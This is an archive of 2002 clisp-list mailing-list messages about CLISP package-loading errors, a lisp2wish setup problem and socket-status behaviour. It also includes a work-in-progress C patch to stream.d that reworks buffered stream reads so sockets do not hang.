  (declare (string source) (fixnum i l))
  (let ((symbol ""))
    (declare (string symbol))
    (multiple-value-setq (symbol i) (parse-definition-string source i
l))
    (format *standard-output* "symbol-name-1:~S~%" symbol)
    (when (not (string=3D symbol ""))
      (format *standard-output* "symbol-name:~S~%" symbol)
      (when (not (find-package symbol)) (make-package symbol)) ;
******** This line generates error.
      (in-package symbol))
    i))
(format *standard-output* "Exiting offending party ~%")


Loading it I get the error between the first format and the last.
The others do not get executed. This happens while the compiler is
loading the file so in the line with the error ( find-package symbol )
trys to find the package "SYMBOL" at the time of loading, not when the
function is called.

Any idea how to fix this?


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> * In message <3c4bbc6b.192407812@smtp.interaccess.com>
> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
> * Sent on Sun, 20 Jan 2002 12:49:13 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> (format *standard-output* "~%Entering offending party ~%")
> (defun parse-definition-package (source i l)
>   (declare (string source) (fixnum i l))
>   (let ((symbol ""))
>     (declare (string symbol))
>     (multiple-value-setq (symbol i) (parse-definition-string source i
> l))
>     (format *standard-output* "symbol-name-1:~S~%" symbol)
>     (when (not (string= symbol ""))
>       (format *standard-output* "symbol-name:~S~%" symbol)
>       (when (not (find-package symbol)) (make-package symbol)) ;
> ******** This line generates error.
>       (in-package symbol))
>     i))
> (format *standard-output* "Exiting offending party ~%")
> 
> 
> Loading it I get the error between the first format and the last.
> The others do not get executed. This happens while the compiler is
> loading the file so in the line with the error ( find-package symbol )
> trys to find the package "SYMBOL" at the time of loading, not when the
> function is called.
> 
> Any idea how to fix this?

set *package-tasks-treat-specially* to NIL.
(this is the default in the CVS)

when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c are
treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)),
which is good for "novice users" (for some definition of a novice).

these days everyone knows to use DEFPACKAGE, so it's okay to turn this
off. 


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On 20 Jan 2002 10:04:31 -0500, Sam Steingold <sds@gnu.org> wrote:

>> * In message <3c4bbc6b.192407812@smtp.interaccess.com>
>> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
>> * Sent on Sun, 20 Jan 2002 12:49:13 GMT
>> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>>
>> (format *standard-output* "~%Entering offending party ~%")
>> (defun parse-definition-package (source i l)
>>   (declare (string source) (fixnum i l))
>>   (let ((symbol ""))
>>     (declare (string symbol))
>>     (multiple-value-setq (symbol i) (parse-definition-string source i
>> l))
>>     (format *standard-output* "symbol-name-1:~S~%" symbol)
>>     (when (not (string=3D symbol ""))
>>       (format *standard-output* "symbol-name:~S~%" symbol)
>>       (when (not (find-package symbol)) (make-package symbol)) ;
>> ******** This line generates error.
>>       (in-package symbol))
>>     i))
>> (format *standard-output* "Exiting offending party ~%")
>>=20
>>=20
>> Loading it I get the error between the first format and the last.
>> The others do not get executed. This happens while the compiler is
>> loading the file so in the line with the error ( find-package symbol )
>> trys to find the package "SYMBOL" at the time of loading, not when the
>> function is called.
>>=20
>> Any idea how to fix this?
>
>set *package-tasks-treat-specially* to NIL.
>(this is the default in the CVS)
>
>when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c are
>treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)),
>which is good for "novice users" (for some definition of a novice).
>
>these days everyone knows to use DEFPACKAGE, so it's okay to turn this
>off.=20
Can you be a bit more specific?
Your approach doesn't seem to be working.


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Hi,

I want to use CLISP, lisp2wish and wish83 on Windows XP.
As a bloody beginner I run into some troubles.

I installed clisp 2.27
I installed wish83
I downloaded / copied lisp2wish.lisp

Now:
I start wish83    --- works
I started clisp and then: (load "lisp2wish.lisp") --- okay
Then I typed (test-wish) and got this:

*** - EVAL: the function WISH::RUN-PROGRAM is undefined

At next I typed  (run-program "notepad.exe") and notepad starts,
so run-program is available.

So, what's wrong?  Do I have to change something in lisp2wish.lisp?

And could anybody give me a very simple "hello world, getting
started with lisp2wish" tutorial?

Best regards,
Johann Murauer
jmurauer@acm.org



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> * In message <OFE9A643C9.2B82FD6F-ONC1256B48.0048E437@utimaco.at>
> * On the subject of "[clisp-list] lisp2wish - getting started problem"
> * Sent on Mon, 21 Jan 2002 14:24:29 +0100
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>
> *** - EVAL: the function WISH::RUN-PROGRAM is undefined

find the definition of the package WISH and make it use EXT.
(add a (:USE "EXT") clause to the DEFPACKAGE form)

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> * In message <3c4b98b5.248801796@smtp.interaccess.com>
> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
> * Sent on Mon, 21 Jan 2002 04:29:36 GMT
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> On 20 Jan 2002 10:04:31 -0500, Sam Steingold <sds@gnu.org> wrote:
> 
> >set *package-tasks-treat-specially* to NIL.
> >(this is the default in the CVS)
> >
> >when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c are
> >treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)),
> >which is good for "novice users" (for some definition of a novice).
> >
> >these days everyone knows to use DEFPACKAGE, so it's okay to turn this
> >off. 
> Can you be a bit more specific?
> Your approach doesn't seem to be working.

what did you do?  I am not clairvoyant (unfortunately).

(describe '*package-tasks-treat-specially*) ==> ?

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Thanks, that did it ....

Now I would be happy if I have a lisp2wish - document for beginners.
Getting started, how to use it, small examples ....

Any pointers?

Regards,
Johann





Sam Steingold <sds@gnu.org> on 21.01.2002 15:34:36

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> * In message <OFE9A643C9.2B82FD6F-ONC1256B48.0048E437@utimaco.at>
> * On the subject of "[clisp-list] lisp2wish - getting started problem"
> * Sent on Mon, 21 Jan 2002 14:24:29 +0100
> * Honorable johann.murauer@utimaco.at writes:
>
> *** - EVAL: the function WISH::RUN-PROGRAM is undefined

find the definition of the package WISH and make it use EXT.
(add a (:USE "EXT") clause to the DEFPACKAGE form)

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On Mon, 21 Jan 2002 15:51:49 +0100, Johann wrote:

> Now I would be happy if I have a lisp2wish - document for beginners.
> Getting started, how to use it, small examples ....

I seem to remember that the lisp2wish source code includes a short example.
Also look at the documentation strings of exported symbols. There is no
other documentation.


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> * In message <m3r8onmjj6.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 18 Jan 2002 16:33:17 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Maybe you have a more recent version?

SOCKET-STATUS now works with any handle-based stream provided your OS's
select call can accept the handle (i.e., pipes work on UNIX but not win32)

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Sam Steingold <sds@gnu.org> writes:

> > * In message <m3r8onmjj6.fsf@jetcar.qnz.org>
> > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> > * Sent on 18 Jan 2002 16:33:17 -0500
> > * Honorable Todd Sabin <tas@webspan.net> writes:
> >
> > Maybe you have a more recent version?
> 
> SOCKET-STATUS now works with any handle-based stream provided your OS's
> select call can accept the handle (i.e., pipes work on UNIX but not win32)

I haven't tested it, but I think your patch gets the case of buffered
io pipes wrong.  I.e.

(setq p (make-pipe-io-stream "bash" :buffered t))
(format p "ls~%")
(force-output p)
(socket-status p)

will yield :output, not :io.  I made the same mistake when I tried it
this weekend.  For buffered pipes, you need to use
ChannelStream_buffered(stream) to get the handle.  Probably makes
sense to define a PipeChannel similar to SocketChannel.

I also did some work on getting buffered streams to work with non-4096
blocks of data, and to not hang on read-{byte,char}-will-hang-p.  It's
not complete at this point, but I'll send it separately as food for
thought...


Todd


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--=-=-=

Sam Steingold <sds@gnu.org> writes:
> (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos))
> #<IO BUFFERED SOCKET-STREAM CHARACTER www.gnu.org:80>
> (format s "GET / HTTP/1.0~2%")
> (READ-CHAR-WILL-HANG-P s)
> __HANG__
> 
> (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos))
> #<IO BUFFERED SOCKET-STREAM CHARACTER www.gnu.org:80>
> (format s "GET / HTTP/1.0~2%")
> (finish-output s)
> (READ-CHAR-WILL-HANG-P s)
> NIL
> 
> > The problem I have with buffered sockets is on the server side, not
> > the client.  There's no way a server can use buffered sockets, because
> > it's totally impossible to read a client's requests unless they happen
> > to terminate on 4K boundaries (or the client closes his end of the
> > socket with shutdown(2) before receiving a reply).  And, as I said
> > before, I don't really care much about buffering on input, but you
> > can't buffer on output unless you also buffer on input, and I do care
> > about buffering on output.
> 
> confirmed.

Here's some progress on this.  (Ignore the socket-status stuff, since
you've already done that.)  There are two sets of changes, both still
works in progress.

The first makes it possible to use buffered streams when you don't
have 4096 blocks of data to work with.  What I did is change the
eofindex member of the stream to an 'endvalid' member, and added an
explicit flag which indicates that the eof is at endvalid.  This
actually simplified a number of things, though it's not complete, yet.
I'm sure the eof_hit flag isn't set correctly in all cases.  The other
piece needed for this is to change full_read in unixaux.d to return
less than 4096 bytes of data if possible.  (Other _read functions
would need to be similarly modified.)  With those changes buffered
sockets are quite usable, though the hang problem still exists.

Fixing the hang problem was worse.  I modified buffered_nextbyte to
accept a bool* which means that the caller wants to know if
buffered_nextbyte _might_ block.  Most existing callers of
buffered_nextbyte just pass NULL and block if necessary, as before.
listen_char and listen_byte, however, are interested, and if
buffered_nextbyte might hang, they call low_listen_handle.
low_listen_handle is what used to be low_listen_unbuffered_handle,
minus the unbuffered stuff.  In the case where low_listen_handle has
to resort to a read, it makes a callback with the read data so that it
can be handled appropriately in the buffered and unbuffered cases.
This last bit is quite ugly (and not totally correct at this point,
either), and there's probably a better way to handle it.

Anyway, food for thought.  With these changes, my web proxy gets the
same throughput for large downloads as I get with the C proxy I have
been using, ~190K/s.  I.e. the limiting factor is my bandwidth.  When
I have to use unbuffered sockets, the best it could do was ~30K/s.  So
fixing this is a big win.

Comments appreciated.


Todd


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Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.253
diff -u -r1.253 stream.d
--- stream.d	2002/01/18 22:07:51	1.253
+++ stream.d	2002/01/21 18:40:29
@@ -4604,18 +4604,17 @@
     return b;
   }
 }
-
-local signean low_listen_unbuffered_handle (object stream) {
-  if (UnbufferedStream_status(stream) < 0) # already EOF?
-    return ls_eof;
-  if (UnbufferedStream_status(stream) > 0) # bytebuf contains valid bytes?
-    return ls_avail;
+  
+local signean low_listen_handle (object stream, uintL read_amt,
+                                 void (*handle_read)(object stream, uintB *buff, uintL amt)) {
   # Method 1: select, see SELECT(2)
   # Method 2: ioctl FIONREAD, see FILIO(4)
   # Method 3: switch temporarily to non-blocking I/O and try read(),
   #           see READ(2V), FILIO(4), or
   #           see READ(2V), FCNTL(2V), FCNTL(5)
-  var Handle handle = TheHandle(TheStream(stream)->strm_ichannel);
+  var bool buffered = ChannelStream_buffered(stream); 
+  var Handle handle = buffered ? TheHandle(TheStream(stream)->strm_buffered_channel)
+                               : TheHandle(TheStream(stream)->strm_ichannel);
   #if defined(EMUNIX)
   {
     var struct termio oldtermio;
@@ -4722,7 +4721,7 @@
   #if !(defined(HAVE_SELECT) && !defined(UNIX_BEOS))
   if (!nullp(TheStream(stream)->strm_isatty)) { # Terminal
     # switch to non-blocking mode, then try read():
-    var uintB b;
+    var uintB b[4096];
     var int result;
   restart_read_tty:
     #ifdef FIONBIO # non-blocking I/O a la BSD 4.2
@@ -4732,7 +4731,7 @@
       if (!( ioctl(handle,FIONBIO,&non_blocking_io) ==0)) {
         OS_error();
       }
-      result = read(handle,&b,1);
+      result = read(handle,b,min(sizeof(b),read_amt));
       non_blocking_io = 0;
       if (!( ioctl(handle,FIONBIO,&non_blocking_io) ==0)) {
         OS_error();
@@ -4753,7 +4752,7 @@
         OS_error();
       }
       #endif
-      result = read(handle,&b,1);
+      result = read(handle,b,min(sizeof(b),read_amt));
       if ( fcntl(handle,F_SETFL,fcntl_flags) <0) {
         OS_error();
       }
@@ -4780,7 +4779,7 @@
       return ls_wait;
     } else {
       # Stuff the read byte into the buffer, for next low_read call.
-      UnbufferedStreamLow_push_byte(stream,b);
+      handle_read (stream, b, result);
       return ls_avail;
     }
     # If this doesn't work, should use a timer 0.1 sec ??
@@ -4790,8 +4789,9 @@
     {
       # try to read a byte:
     restart_read_other:
-      var uintB b;
-      var int result = read(handle,&b,1);
+      var uintB b[4096];
+#define min(a,b) (((a)<(b))?(a):(b))
+      var int result = read(handle,b,min(sizeof(b),read_amt));
       if (result<0) {
         if (errno==EINTR)
           goto restart_read_other;
@@ -4799,10 +4799,13 @@
       }
       end_system_call();
       if (result==0) {
-        UnbufferedStream_status(stream) = -1; return ls_eof;
+        if (!buffered)
+          UnbufferedStream_status(stream) = -1;
+        return ls_eof;
       } else {
         # Stuff the read byte into the buffer, for next low_read call.
-        UnbufferedStreamLow_push_byte(stream,b);
+        handle_read (stream, b, result);
+        # UnbufferedStreamLow_push_byte(stream,b);
         return ls_avail;
       }
     }
@@ -4934,6 +4937,18 @@
   #endif
 }
 
+local void handle_unbuffered_read (object stream, uintB *buff, uintL amt) {
+  UnbufferedStreamLow_push_byte(stream,*buff);
+}
+
+local signean low_listen_unbuffered_handle (object stream) {
+  if (UnbufferedStream_status(stream) < 0) # already EOF?
+    return ls_eof;
+  if (UnbufferedStream_status(stream) > 0) # bytebuf contains valid bytes?
+    return ls_avail;
+  return low_listen_handle (stream, 1, handle_unbuffered_read);
+}
+
 local bool low_clear_input_unbuffered_handle (object stream) {
   if (nullp(TheStream(stream)->strm_isatty))
     return false; # it's a file -> nothing to do
@@ -5872,10 +5887,10 @@
   uintL (* low_fill)  (object stream);
   void  (* low_flush) (object stream, uintL bufflen);
   uintL buffstart;              # start position of buffer
-  sintL eofindex;               # index up to which the data is valid
-                                # (for recognizing EOF)
-  #define eofindex_all_invalid  (-1)
-  #define eofindex_all_valid    (-2)
+  sintL endvalid;               # index up to which the data is valid
+  bool eof_hit : 8;             # have we hit the EOF?
+  # define eofindex_all_invalid  (-1)
+  # define eofindex_all_valid    (-2)
   uintL index;                  # index into buffer (>=0, <=strm_buffered_bufflen)
   bool modified : 8;         # true if the buffer contains modified data, else false
   bool regular : 8;          # whether the handle refers to a regular file
@@ -5928,8 +5943,12 @@
   ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->buffstart
 #define BufferedStream_eofindex(stream)  \
   ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->eofindex
+#define BufferedStream_endvalid(stream)  \
+  ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->endvalid
 #define BufferedStream_index(stream)  \
   ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->index
+#define BufferedStream_eof_hit(stream)  \
+  ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->eof_hit
 #define BufferedStream_modified(stream)  \
   ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->modified
 #define BufferedStream_regular(stream)  \
@@ -6108,8 +6127,8 @@
                  BufferedStream_buffstart(stream),SEEK_SET,); # positioning back
     end_system_call();
   }
-  # write eofindex Bytes:
-  BufferedStreamLow_flush(stream)(stream,BufferedStream_eofindex(stream));
+  # write endvalid Bytes:
+  BufferedStreamLow_flush(stream)(stream,BufferedStream_endvalid(stream));
 }
 
 # UP: Writes the modified Buffer back.
@@ -6118,7 +6137,7 @@
 # < modified_flag of stream : deleted
 # changed in stream: index
 local void buffered_flush (object stream) {
-  if (BufferedStream_eofindex(stream) == eofindex_all_valid) # Buffer entirely valid?
+  if (BufferedStream_endvalid(stream) == strm_buffered_bufflen) # Buffer entirely valid?
     buffered_full_flush(stream);
   else
     buffered_half_flush(stream);
@@ -6131,50 +6150,43 @@
 # < result : NULL if EOF (and then index=eofindex),
 #                 else: Pointer to the next Byte
 # changed in stream: index, eofindex, buffstart
-local uintB* buffered_nextbyte (object stream) {
-  var sintL eofindex = BufferedStream_eofindex(stream);
+local uintB* buffered_nextbyte (object stream, bool* non_block) {
+  var sintL endvalid = BufferedStream_endvalid(stream);
   var uintL index = BufferedStream_index(stream);
-  if (!(eofindex == eofindex_all_valid)) { # Bufferdata only half valid
-    if (eofindex == eofindex_all_invalid) # Bufferdata entirely invalid
-      goto reread;
-    else # EOF occurs in this Sector
-      goto eofsector;
-  }
-  # Bufferdata entirely valid
-  if (index != strm_buffered_bufflen) { # index = bufflen ?
-    # no, so 0 <= index < strm_buffered_bufflen -> OK
-    return BufferedStream_buffer_address(stream,index);
-  }
-  # Buffer must be newly filled.
-  if (BufferedStream_modified(stream))
-    # Beforehand the Buffer must be flushed out:
-    buffered_full_flush(stream);
-  BufferedStream_buffstart(stream) += strm_buffered_bufflen;
- reread: { # From here, read the Buffer newly:
+
+  if ((endvalid == index) && !BufferedStream_eof_hit (stream)) {
+    if (non_block) {
+      *non_block = true;
+      return (uintB*) NULL;
+    }
+    if (BufferedStream_modified(stream))
+      # Beforehand the Buffer must be flushed out:
+      buffered_full_flush(stream);
+    BufferedStream_buffstart(stream) += endvalid;
+
     var sintL result;
     if (BufferedStream_blockpositioning(stream)
-        || !((TheStream(stream)->strmflags & strmflags_rd_B) == 0)) {
+        || (TheStream(stream)->strmflags & strmflags_rd_B)) {
       result = BufferedStreamLow_fill(stream)(stream);
-      if (result==strm_buffered_bufflen) { # the entire Buffer was filled
-        BufferedStream_index(stream) = 0; # Index := 0
-        BufferedStream_modified(stream) = false; # Buffer unmodified
-        BufferedStream_eofindex(stream) = eofindex_all_valid; # eofindex := all_valid
-        return BufferedStream_buffer_address(stream,0);
-      }
     } else {
       result = 0;
     }
-    # result (< strm_buffered_bufflen) Bytes were read.
-    # Not the entire Buffer was filled -> EOF is reached.
-    BufferedStream_index(stream) = index = 0; # Index := 0
-    BufferedStream_modified(stream) = false; # Buffer unmodified
-    BufferedStream_eofindex(stream) = eofindex = result; # eofindex := result
-  }
- eofsector: # eofindex is a Fixnum, i.e. EOF occurs in this Sector.
-  if (index == eofindex)
-    return (uintB*)NULL; # EOF reached
-  else
+    BufferedStream_index(stream) = index = 0;
+    BufferedStream_modified(stream) = false;
+    BufferedStream_endvalid(stream) = endvalid = result;
+    if (result == 0) {
+      BufferedStream_eof_hit (stream) = true;
+    }
+  }
+  if (index < endvalid) {
+    # no, so 0 <= index < strm_buffered_bufflen -> OK
+    if (non_block) *non_block = false;
     return BufferedStream_buffer_address(stream,index);
+  } elif (BufferedStream_eof_hit (stream)) {
+    if (non_block) *non_block = false;
+    return (uintB*) NULL;
+  } else
+    ASSERT (false);
 }
 
 # UP: Prepares the writing of a Byte at EOF.
@@ -6185,19 +6197,19 @@
 # changed in stream: index, eofindex, buffstart
 local uintB* buffered_eofbyte (object stream) {
   # EOF.  eofindex=index.
-  if (BufferedStream_eofindex(stream) == strm_buffered_bufflen) {
+  if (BufferedStream_endvalid(stream) == strm_buffered_bufflen) {
     # eofindex = strm_buffered_bufflen
     # Buffer must be filled newly. Because after that EOF will occur anyway,
     # it is sufficient, to flush the Buffer out:
     if (BufferedStream_modified(stream))
       buffered_half_flush(stream);
     BufferedStream_buffstart(stream) += strm_buffered_bufflen;
-    BufferedStream_eofindex(stream) = 0; # eofindex := 0
+    BufferedStream_endvalid(stream) = 0; # eofindex := 0
     BufferedStream_index(stream) = 0; # index := 0
     BufferedStream_modified(stream) = false; # unmodified
   }
   # increase eofindex:
-  BufferedStream_eofindex(stream) += 1;
+  BufferedStream_endvalid(stream) += 1;
   return BufferedStream_buffer_address(stream,BufferedStream_index(stream));
 }
 
@@ -6207,7 +6219,7 @@
 # > b : Byte to be written
 # changed in stream: index, eofindex, buffstart
 local void buffered_writebyte (object stream, uintB b) {
-  var uintB* ptr = buffered_nextbyte(stream);
+  var uintB* ptr = buffered_nextbyte(stream,0);
   if (!(ptr == (uintB*)NULL)) {
     if (*ptr == b) # no real Modification?
       goto no_modification;
@@ -6241,12 +6253,9 @@
 local void position_file_buffered (object stream, uintL position) {
   # Is the new Position in the same Sector?
   {
-    var sintL eofindex = BufferedStream_eofindex(stream);
+    var sintL endvalid = BufferedStream_endvalid(stream);
     var uintL newindex = position - BufferedStream_buffstart(stream);
-    if (newindex
-        <= ((eofindex == eofindex_all_valid) ? strm_buffered_bufflen :
-            (!(eofindex == eofindex_all_invalid)) ? eofindex :
-            0)) { # yes -> only index has to be changed:
+    if (newindex <= endvalid) {
       BufferedStream_index(stream) = newindex;
       return;
     }
@@ -6260,7 +6269,7 @@
     handle_lseek(stream,BufferedStream_channel(stream),position,SEEK_SET,);
     end_system_call();
     BufferedStream_buffstart(stream) = position;
-    BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid
+    BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid
     BufferedStream_index(stream) = 0; # index := 0
     BufferedStream_modified(stream) = false; # unmodified
   } else {
@@ -6275,17 +6284,17 @@
       BufferedStream_buffstart(stream) = newposition;
     }
     # read Sector:
-    BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid
+    BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid
     BufferedStream_index(stream) = 0; # index := 0
     BufferedStream_modified(stream) = false; # unmodified
     var uintL newindex = position % strm_buffered_bufflen; # desired Index in the Sector
     if (!(newindex==0)) { # Position between Sectors -> nothing needs to be read
-      buffered_nextbyte(stream);
+      buffered_nextbyte(stream,0);
       # Now index=0.
       # set index to (position mod bufflen) , but check beforehand:
-      var sintL eofindex = BufferedStream_eofindex(stream);
+      var sintL endvalid = BufferedStream_endvalid(stream);
       # Either eofindex=all_valid or 0<=newindex<=eofindex must be true:
-      if (!((eofindex == eofindex_all_valid) || (newindex <= eofindex))) {
+      if (newindex > endvalid) {
         # Error. But first position back to the old Position:
         check_SP();
         position_file_buffered(stream,oldposition); # position back
@@ -6308,13 +6317,11 @@
 local uintB* read_byte_array_buffered (object stream, uintB* byteptr,
                                        uintL len) {
   do {
-    var uintB* ptr = buffered_nextbyte(stream);
+    var uintB* ptr = buffered_nextbyte(stream,0);
     if (ptr == (uintB*)NULL)
       break;
-    var sintL eofindex = BufferedStream_eofindex(stream);
-    var uintL available =
-      (eofindex == eofindex_all_valid ? strm_buffered_bufflen : eofindex)
-      - BufferedStream_index(stream);
+    var sintL endvalid = BufferedStream_endvalid(stream);
+    var uintL available = endvalid - BufferedStream_index(stream);
     if (available > len)
       available = len;
     # copy all available bytes:
@@ -6341,13 +6348,12 @@
   var uintL remaining = len;
   var uintB* ptr;
   do { # still remaining>0 Bytes to be filed.
-    ptr = buffered_nextbyte(stream);
+    ptr = buffered_nextbyte(stream,0);
     if (ptr == (uintB*)NULL)
       goto eof_reached;
-    var sintL eofindex = BufferedStream_eofindex(stream);
+    var sintL endvalid = BufferedStream_endvalid(stream);
     var uintL next = # as many as still fit in the Buffer or until EOF
-      ((eofindex==eofindex_all_valid) ? strm_buffered_bufflen : eofindex)
-      - BufferedStream_index(stream); # > 0 !
+      endvalid - BufferedStream_index(stream); # > 0 !
     if (next > remaining)
       next = remaining;
     { # copy next Bytes in the Buffer:
@@ -6374,8 +6380,8 @@
         # so it is sufficient to flush the buffer:
         if (BufferedStream_modified(stream))
           buffered_half_flush(stream);
-        BufferedStream_buffstart(stream) += strm_buffered_bufflen;
-        BufferedStream_eofindex(stream) = 0; # eofindex := 0
+        BufferedStream_buffstart(stream) += BufferedStream_endvalid(stream);
+        BufferedStream_endvalid(stream) = 0; # eofindex := 0
         BufferedStream_index(stream) = 0; # index := 0
         BufferedStream_modified(stream) = false; # unmodified
         # Then try again:
@@ -6392,7 +6398,7 @@
       remaining = remaining - next;
       # increment index and eofindex
       BufferedStream_index(stream) += next;
-      BufferedStream_eofindex(stream) += next;
+      BufferedStream_endvalid(stream) += next;
     } while (remaining != 0);
   }
   return byteptr;
@@ -6407,7 +6413,7 @@
 # READ-CHAR - Pseudo-Function for File-Streams of Characters
 local object rd_ch_buffered (const object* stream_) {
   var object stream = *stream_;
-  var uintB* bufferptr = buffered_nextbyte(stream);
+  var uintB* bufferptr = buffered_nextbyte(stream,0);
   if (bufferptr == (uintB*)NULL) # EOF ?
     return eof_value;
   # fetch next character:
@@ -6416,10 +6422,8 @@
   var object encoding = TheStream(stream)->strm_encoding;
   # Does the buffer contain a complete character?
   {
-    var sintL eofindex = BufferedStream_eofindex(stream);
-    var uintL available =
-      (eofindex == eofindex_all_valid ? strm_buffered_bufflen : eofindex)
-      - BufferedStream_index(stream);
+    var sintL endvalid = BufferedStream_endvalid(stream);
+    var uintL available = endvalid - BufferedStream_index(stream);
     var const uintB* bptr = bufferptr;
     var chart* cptr = &c;
     Encoding_mbstowcs(encoding)
@@ -6461,7 +6465,7 @@
           }
           break;
         }
-        bufferptr = buffered_nextbyte(stream);
+        bufferptr = buffered_nextbyte(stream,0);
         if (bufferptr == (uintB*)NULL)
           return eof_value;
       }
@@ -6477,7 +6481,7 @@
     ChannelStream_lineno(stream) += 1;
   } else if (chareq(c,ascii(CR))) {
     # check next character for LF
-    bufferptr = buffered_nextbyte(stream);
+    bufferptr = buffered_nextbyte(stream,0);
     if ((bufferptr != NULL) && chareq(as_chart(*bufferptr),ascii(LF))) {
       # increment index and position
       BufferedStream_index(stream) += 1;
@@ -6489,6 +6493,22 @@
   return code_char(c);
 }
 
+
+local void handle_buffered_read (object stream, uintB *buff, uintL amt) {
+  # FIXME: if modified, really need to flush, and then seek back to the
+  # right place.  ugh.
+  # hrif (BufferedStream_modified(stream))
+      # Beforehand the Buffer must be flushed out:
+  #    buffered_full_flush(stream);
+  BufferedStream_buffstart(stream) += BufferedStream_endvalid(stream);
+
+  BufferedStream_index(stream) = 0;
+  BufferedStream_modified(stream) = false;
+  BufferedStream_endvalid(stream) = amt;
+  memcpy(BufferedStream_buffer_address(stream,0),
+         buff, amt);
+}
+
 # Determines, if a character is available on a File-Stream.
 # listen_char_buffered(stream)
 # > stream: File-Stream of Characters
@@ -6496,13 +6516,19 @@
 #             ls_eof   if EOF is reached,
 #             ls_wait  if no character is available, but not because of EOF
 local signean listen_char_buffered (object stream) {
-  if (buffered_nextbyte(stream) == (uintB*)NULL)
-    return ls_eof; # EOF
+  var bool might_block = false;
+  var uintB* ptr = buffered_nextbyte(stream,&might_block);
   # In case of UNICODE, the presence of a byte does not guarantee the
   # presence of a multi-byte character. Returning ls_avail here is
   # therefore not correct. But this doesn't matter since programs seeing
   # ls_avail will call read-char, and this will do the right thing anyway.
-  return ls_avail;
+  if (ptr)
+    return ls_avail;
+  elif (!might_block)
+    return ls_eof; # EOF
+  else
+    return low_listen_handle (stream, strm_buffered_bufflen,
+                              handle_buffered_read);
 }
 
 # READ-CHAR-ARRAY - Pseudo-Function for File-Streams of Characters:
@@ -6517,15 +6543,13 @@
   var chart* endptr = startptr+len;
   loop {
     var chart* startptr = charptr;
-    var uintB* bufferptr = buffered_nextbyte(stream);
+    var uintB* bufferptr = buffered_nextbyte(stream,0);
     if (bufferptr == (uintB*)NULL) # EOF -> finished
       break;
     # Read as many complete characters from the buffer as possible.
     {
-      var sintL eofindex = BufferedStream_eofindex(stream);
-      var uintL available =
-        (eofindex == eofindex_all_valid ? strm_buffered_bufflen : eofindex)
-        - BufferedStream_index(stream);
+      var sintL endvalid = BufferedStream_endvalid(stream);
+      var uintL available = endvalid - BufferedStream_index(stream);
       var const uintB* bptr = bufferptr;
       var chart* cptr = charptr;
       Encoding_mbstowcs(encoding)
@@ -6565,7 +6589,7 @@
             }
             break;
           }
-          bufferptr = buffered_nextbyte(stream);
+          bufferptr = buffered_nextbyte(stream,0);
           if (bufferptr == (uintB*)NULL) # EOF -> finished
             break;
         }
@@ -6586,7 +6610,7 @@
         } else if (chareq(c,ascii(CR))) {
           # check next character for LF
           if (ptr1 == charptr) {
-            uintB* bufferptr = buffered_nextbyte(stream);
+            uintB* bufferptr = buffered_nextbyte(stream,0);
             if ((bufferptr != NULL)
                 && chareq(as_chart(*bufferptr),ascii(LF))) {
               # increment index and position
@@ -6610,7 +6634,7 @@
   return charptr - startptr;
   #else
   do {
-    var uintB* ptr = buffered_nextbyte(stream);
+    var uintB* ptr = buffered_nextbyte(stream,0);
     if (ptr == (uintB*)NULL) # EOF -> finished
       break;
     var chart ch = as_chart(*ptr);
@@ -6621,7 +6645,7 @@
       ChannelStream_lineno(stream) += 1;
     } else if (chareq(ch,ascii(CR))) {
       # check next character for LF
-      ptr = buffered_nextbyte(stream);
+      ptr = buffered_nextbyte(stream,0);
       if (!(ptr == (uintB*)NULL) && chareq(as_chart(*ptr),ascii(LF))) {
         # increment index and position
         BufferedStream_index(stream) += 1;
@@ -6937,7 +6961,7 @@
     return;
   if (# Is the addressed position situated in the first byte after EOF ?
       ((!((position_bits%8)==0))
-       && (buffered_nextbyte(stream) == (uintB*)NULL))
+       && (buffered_nextbyte(stream,0) == (uintB*)NULL))
        # Is the addressed position situated in the last byte too far?
       || ((bitsize < 8)
           && (position > BufferedStream_eofposition(stream)))) {
@@ -6967,7 +6991,7 @@
   #if 0 # equivalent, but slower
   var uintL count;
   dotimespL(count,bytesize, {
-    var uintB* ptr = buffered_nextbyte(stream);
+    var uintB* ptr = buffered_nextbyte(stream,0);
     if (ptr == (uintB*)NULL)
       goto eof;
     # fetch next Byte:
@@ -7004,7 +7028,7 @@
     var uintL bitindex = BufferedStream_bitindex(stream);
     var uintL count = bitindex + bitsize;
     var uint8 bit_akku;
-    var uintB* ptr = buffered_nextbyte(stream);
+    var uintB* ptr = buffered_nextbyte(stream,0);
     if (ptr == (uintB*)NULL)
       goto eof;
     # Get first partial byte:
@@ -7015,7 +7039,7 @@
       # increment index, because *ptr is processed:
       BufferedStream_index(stream) += 1;
       count -= 8; # still count (>0) Bits to fetch.
-      var uintB* ptr = buffered_nextbyte(stream);
+      var uintB* ptr = buffered_nextbyte(stream,0);
       if (ptr == (uintB*)NULL)
         goto eof1;
